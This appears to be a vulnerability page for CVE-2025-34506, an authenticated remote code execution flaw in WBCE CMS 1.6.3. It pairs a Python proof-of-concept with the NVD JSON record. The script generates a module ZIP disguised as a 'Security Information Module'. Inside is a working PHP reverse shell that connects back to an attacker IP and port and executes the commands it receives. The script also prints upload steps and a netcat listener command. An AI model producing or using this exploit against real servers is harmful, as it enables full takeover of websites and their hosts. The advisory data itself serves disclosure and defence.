CVE-2025-34506

#!/usr/bin/env python3 # CVE-2025-34506 PoC - WBCE CMS Authenticated RCE via Malicious Module Upload # This PoC demonstrates how to create a malicious ZIP module for RCE import zipfile import os import sys def create_malicious_module(output_file, lhost, lport): """ Create a malicious WBCE CMS module ZIP file containing PHP reverse shell Parameters: output_file: Output path for the malicious ZIP module lhost: Attacker IP for reverse shell lport: Attacker port for reverse shell """ # Malicious PHP code that will be executed when module is installed php_payload = f'''<?php // Malicious module info file for CVE-2025-34506 // Reverse shell payload $ip = "{lhost}"; $port = {lport}; // Create reverse shell connection $sh = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($sh, $ip, $port); // Redirect stdin/stdout/stderr to socket socket_write($sh, "[+] Connection established from target\n"); while ($cmd = @socket_read($sh, 65535, PHP_NORMAL_READ)) {{ if (trim($cmd) == "exit") {{ socket_close($sh); break; }} $output = shell_exec($cmd); socket_write($sh, $output); }} ?>''' # Module structure required by WBCE CMS module_info = '''<?xml version="1.0" encoding="UTF-8"?> <module> <name>InfoSec</name> <description>Security Information Module</description> <function>info_sec</function> <type>tool</type> <version>1.0</version> <platform>WBCE</platform> </module>''' try: with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zf: # Add malicious PHP file as module entry point zf.writestr('info.php', php_payload) # Add required module XML file zf.writestr('module.xml', module_info) # Add required info file zf.writestr('info.xml', module_info) print(f"[+] Malicious module created: {output_file}") print(f"[+] Target: {lhost}:{lport}") print("[*] Steps to exploit:") print(" 1. Login to WBCE CMS admin panel") print(" 2. Go to Add-ons -> Modules -> Upload") print(f" 3. Upload the malicious ZIP file: {output_file}") print(" 4. Install the uploaded module") print(" 5. Start netcat listener: nc -lvp {}".format(lport)) except Exception as e: print(f"[-] Error creating module: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 cve-2025-34506.py <output.zip> <LHOST> <LPORT>") print("Example: python3 cve-2025-34506.py malicious_module.zip 192.168.1.100 4444") sys.exit(1) output_file = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] create_malicious_module(output_file, lhost, lport) # Additional reference: # Exploit-DB: https://www.exploit-db.com/exploits/52132 # GitHub: https://github.com/Swammers8/WBCE-v1.6.3-Authenticated-RCE

{"cve": {"id": "CVE-2025-34506", "sourceIdentifier": "[email protected]", "published": "2025-12-11T22:15:53.823", "lastModified": "2025-12-15T18:07:41.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WBCE CMS version 1.6.3 and prior contains an authenticated remote code execution vulnerability that allows administrators to upload malicious modules. Attackers can craft a specially designed ZIP module with embedded PHP reverse shell code to gain remote system access when the module is installed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wbce:wbce_cms:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.6.3", "matchCriteriaId": "922BCB07-6BC8-448D-9E50-956A87DAF93E"}]}]}], "references": [{"url": "https://github.com/Swammers8/WBCE-v1.6.3-Authenticated-RCE", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/WBCE/WBCE_CMS", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://wbce-cms.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/52132", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/wbce-cms-authenticated-remote-code-execution-via-module-upload", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://youtu.be/Dhg5gRe9Dzs?si=-WQoiWU1yqvYNz1e", "source": "[email protected]", "tags": ["Exploit"]}]}}